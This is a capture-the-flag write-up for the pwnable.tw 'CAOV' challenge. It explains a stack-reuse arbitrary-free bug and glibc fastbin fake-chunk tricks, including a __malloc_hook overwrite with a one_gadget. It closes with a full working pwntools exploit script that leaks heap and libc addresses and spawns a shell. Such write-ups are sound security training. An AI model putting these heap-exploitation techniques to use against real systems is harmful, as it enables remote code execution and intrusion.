Binary Exploitation [pwnable.tw] - CAOV

Challange Description

NameCAOV
Points350
Solves134 times
Libc2.23
CategoryExploitation
DescriptionWhat does “CAOV” stands for?

Binary Protection

Let’s check the binary protection

Binary Protection

Since the binary has FULL RELRO enabled it we won’t be able to overwrite GOT table entry and it has PIE disable so we can use the GOT table entry to leak Libc address and if there are global allocated memory it can be helful to crate fake chunks.

Vulnerability

The vulnerability can be exploited by doing stack-reuse attack. The vulnerable part of the code is not visible in source code for that you will have to look at the decompiled code, which is shown below.

decompilation of edit function

There are two class variables which are allocated on the stack with the size 48 bytes each. The default destructor on line 12 sets all the field of object old_data to null. The destructor at line 15 is overridden destructor, it free’s the key field of the object copy_class if it is not null. The copy_class object is read from the stack and that memory is not touched by any other piece of code before the calling the destructor, so if we can set the value of key field using stack-reuse and do arbitrary free.

To carry out the attack we can prime the stack with the set_name function which allows you to write data up to 150 bytes on the stack and when the edit function execute immediately after that, the key pointer field of the copy_class will pick the value from the stack.

With this attack, we are setting the key pointer of the copy_class with the fake chunk pointer which on free will be put into the fastbin’s freelist. The fake-chunk attack on fastbin will be used as write primitive this will be the basic primitive based on which other primitives will be constructed. The fake-chunk can be crafted in the bss section in the name variable and since the PIE is disabled the address of name variable is well-known in advanced.

The Read Primitive

The Data class has the field key is a pointer and on executing the show method of the class prints any value pointed by it. If we manage to change the value of the key pointer of the Data object we can do arbitrary read. And with the edit function, we can also change the value of the key field we also get arbitrary write.

But the looming question is how do we change the value of the key pointer. In the start of the application Data object is created and the reference of this object is stored on global memory. Since this memory is allocated using new operator it will be allocated on the heap. So if we manage to leak heap address we can calculate the object address from the base and rewrite the key field.

So this brings us to the next step, leaking the heap address. One simple way could be to allocate a large memory chunk and free it and reallocate and read the fd/bk pointer but all the memory writes made sure that they are with null-byte termination so this won’t work. If you look at the code closely you can see that in the edit function object data is printed before and after the edit. If we again craft a fake chunk and put it in the fastbin list which already has the free chunk then on printing the content of the object heap pointer will also be printed and then we can calculate the heap base from that by subtracting the offset.

Once we have the heap base address it’s not difficult the calculate than data object address. Once we know the data object address we can do a free on it using the stack-reuse attack discussed initially and allocate it immediately in the edit function and writing any value will set the key field. You can choose any function from the GOT table since the binary is compiled with FULL-RELRO all the function are resolved at the load time.

This concludes our memory leaking efforts. We have managed to leak heap base address using that we leaked the libc address. Next step is how do we get code execution? For that, we will need a write primitive, in the next section will discuss this.

Write Primitive

Creating write primitive should not be that difficult Since we have already used the write primitive previously to create the read primitive. Since we didn’t have the Libc address, we didn’t know the address of the target for a overwrite. So we had to do Libc leak first using the read primitive. To do arbitrary write we first have to free operation using the stack-reuse on the Data object which is already allocated on heap memory attack and in the edit function following that we allocate a new key with the length same as the fake-chunk size. This will return memory chunk from heap memory which has Data object data and then we will overwrite its key field with the overwrite target address.

Whenever a chunk is put in fastbin or removed from it there are chunk corruption check is done if the chunk falls in fastbin range which is 0x20-0x80 if not crash the program. Keeping this in mind whatever target address we choose has to fulfil this criterion. There are two such targets which come to my mind which might fulfil the above criteria, malloc_hook and free_hook. We can search memory nearby any of these hooks for fake chunk size. After some wandering around these hooks, malloc_hook seems to be the winner.

The memory area near malloc_hook there are the whole bunch of addresses (for eg 0x7fffff898972, etc) and if we try to fit a chunk with these value as fake chunk size we won’t succeed. So one neat trick that we can use is to select an address such that its fake chunk size value has MSB of 0x7f and rest of values as 0. This can be done by changing the alignment of the fake chunk address. The address which satisfies this is at malloc_hook-0x23. I have used the exact attack secret garden challenge as well.

Next thing you need to do is free the name array fake chunk with size 0x80. Now name array is in fastbin freelist and Since we can write data to it by edit name function we should write it with the address malloc_hook-0x23. By doing this we have managed to create two fake chunks in fastbin( size 0x80) freelist. The first and second fake chunk has size 0x80 and 0x7f respectively. Next, we will allocate two chunks and in the second allocation, we will get the overwrite.

For creating the Shellcode we can use one_gadget tool. There are a couple of gadgets which are list out of which the one at offset 0xef6c4 has worked for me.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
from pwn import *

preload_libs = './libc_64.so.6 ./libstdc++.so.6 ./libgcc_s.so.1 ./libm.so.6'

libc = ELF(preload_libs.split(' ')[0])

app_bins = ELF('./caov')

if args.REMOTE:
io = remote('chall.pwnable.tw', 10306, timeout=2)
else:
context.log_level = "debug"
io = process(
'./caov',
env={'LD_PRELOAD': preload_libs},
# aslr=False,
aslr=True
)


class App:

def __init__(self, proc):
self.proc = proc

def intro(self, name, key, value):
self.proc.readuntil('name: ')
self.proc.sendline(name)
self.proc.readuntil('key: ')
self.proc.sendline(key)
self.proc.readuntil('value: ')
self.proc.sendline(str(value))
self.proc.readuntil('choice: ')

def show(self):
self.proc.sendline('1')
return self.proc.readuntil('choice: ')

def edit(self, name, new_key_len, key, value):
self.proc.sendline('2')
self.proc.readuntil('name: ')
self.proc.sendline(name)
self.proc.readuntil('length: ')
self.proc.sendline(str(new_key_len))
if new_key_len > 1000:
self.proc.readuntil('key length')
return self.proc.readuntil('choice: ')
self.proc.readuntil('Key: ')
self.proc.sendline(key)
self.proc.readuntil('Value: ')
self.proc.sendline(str(value))
return self.proc.readuntil('choice: ')

def edit_name(self, name):
return self.edit(name, 1020, None, None)


app = App(io)

# Create chunk of size 40 which on free will put it in
# fastbin freelist which later help in leaking the heap address
app.intro('Captain America', '\x00'*41, 0x1234)

NAME_ADDR = 0x6032c0


def heap_base_leak():
'leak heap base'
fake_chunk_payload = flat({
0: p64(0),
8: p64(0x20),
16: b'DDDDDDDD',
0x20: p64(0x20),
0x28: p64(0x20),
96: p64(NAME_ADDR + 0x10)
})

app.edit(fake_chunk_payload, 20, 'A'*20, 123123)

fake_chunk_payload_2 = {
0: p64(0),
8: p64(0x41),
16: p64(0),
0x40: p64(0x00),
0x48: p64(0x20),
96: p64(NAME_ADDR + 0x10)
}
res = app.edit_name(flat(fake_chunk_payload_2))

leak_addr = unpack(res[res.rfind(b'Key: ')+5:res.rfind(b'Value')-1], 'all')
heap_base_offset = 0x11c90 # 0x615c90 - 0x604000
h_base_addr = leak_addr - heap_base_offset
log.info('Heap leak : ' + hex(leak_addr))
log.info('Heap Base : ' + hex(h_base_addr))
return h_base_addr


heap_base = heap_base_leak()
G_D_offset = 0x11ce0 # 0x615ce0 - 0x604000
G_D_addr = heap_base + G_D_offset
log.info('G Data addr : '+hex(G_D_addr))


# --------- Libc base Leak

fake_chunk = flat(list(map(p64, [
0, 0x51, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0x21, G_D_addr, 0, 0, 0,
])))

data = flat(list(map(p64, [app_bins.got['strlen'], 0, 0, 0])))
app.edit(fake_chunk, 50, data, 0x1234)

libc_res = app.show()
libc_offset = 0x155554ff2b70 - 0x155554f68000

libc_strlen = unpack(libc_res[libc_res.find(b'Key: ')+5: libc_res.find(b'Value:')-1], 'all')
libc_base = libc_strlen - libc_offset

log.info('Libc Base : ' + hex(libc_base))

# --------- Libc base leak end

# --------- exec overwrite

malloc_hook = libc_base + libc.symbols['__malloc_hook'] - 0x23

one_shot = libc_base + 0xef6c4

log.info('malloc_hook addr : ' + hex(malloc_hook))

fake_chunk_payload = {
0: p64(0),
8: p64(0x71),
16: b'DDDDDDDD',
0x70: p64(0x70),
0x78: p64(0x20),
96: p64(NAME_ADDR + 0x10)
}

app.edit_name(flat(fake_chunk_payload))

fake_chunk_payload = {
0: p64(0),
8: p64(0x71),
16: p64(malloc_hook),
0x70: p64(0x70),
0x78: p64(0x20),
96: p64(0)
}
app.edit(flat(fake_chunk_payload), 0x60, 'A'*0x10, 0x1234)

fake_chunk_payload = {
0: p64(0),
8: p64(0x51),
16: p64(0),
0x50: p64(0x70),
0x58: p64(0x20),
96: p64(0)
}

data = p64(0) + p64(0) + p8(0)*3 + p64(one_shot)
log.info('executing shell')
app.edit(flat(fake_chunk_payload), 0x60, data, 0x1234)
io.interactive()

# --------- end overwrite

Exploit output

Comments

Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×